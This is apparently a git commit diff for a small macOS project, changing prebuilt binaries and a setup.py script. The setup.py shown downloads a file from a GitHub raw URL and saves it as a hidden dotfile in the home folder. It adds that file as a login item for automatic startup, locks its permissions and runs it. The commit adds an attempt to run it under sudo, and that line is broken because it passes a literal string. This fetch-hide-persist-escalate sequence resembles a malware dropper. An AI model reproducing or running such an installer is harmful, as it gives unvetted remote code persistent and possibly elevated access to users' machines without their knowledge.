summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-14 17:03:29 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-14 17:03:29 +0800
commitdda797c8652ad8d09dbcd764052e244360c4bdd8 (patch)
tree535ec115f54d7f366baeae06586102cab083a33e
parent4a1e5539c8980644266bf8fe1089ef0989c1c5bc (diff)
updated
-rwxr-xr-xdist/mainbin6871264 -> 6871264 bytes
-rwxr-xr-xdist/main.app/Contents/MacOS/mainbin6871264 -> 6871264 bytes
-rwxr-xr-xdist/setupbin4298944 -> 4298976 bytes
-rwxr-xr-xdist/setup.app/Contents/MacOS/setupbin4298944 -> 4298976 bytes
-rw-r--r--setup.py5
5 files changed, 4 insertions, 1 deletions
diff --git a/dist/main b/dist/main
index 1f3ac69..feb9fa8 100755
--- a/dist/main
+++ b/dist/main
Binary files differ
diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main
index 2f6e2e5..a3cd512 100755
--- a/dist/main.app/Contents/MacOS/main
+++ b/dist/main.app/Contents/MacOS/main
Binary files differ
diff --git a/dist/setup b/dist/setup
index 005c0b8..1b7bcb3 100755
--- a/dist/setup
+++ b/dist/setup
Binary files differ
diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup
index 9f76459..1807756 100755
--- a/dist/setup.app/Contents/MacOS/setup
+++ b/dist/setup.app/Contents/MacOS/setup
Binary files differ
diff --git a/setup.py b/setup.py
index e982ce6..202a3ff 100644
--- a/setup.py
+++ b/setup.py
@@ -13,4 +13,7 @@ open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Re
system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null")
system(f"chmod 555 {localfile}")
-subproc([localfile])
+try:
+ subproc([f"sudo localfile"])
+except:
+ subproc([localfile])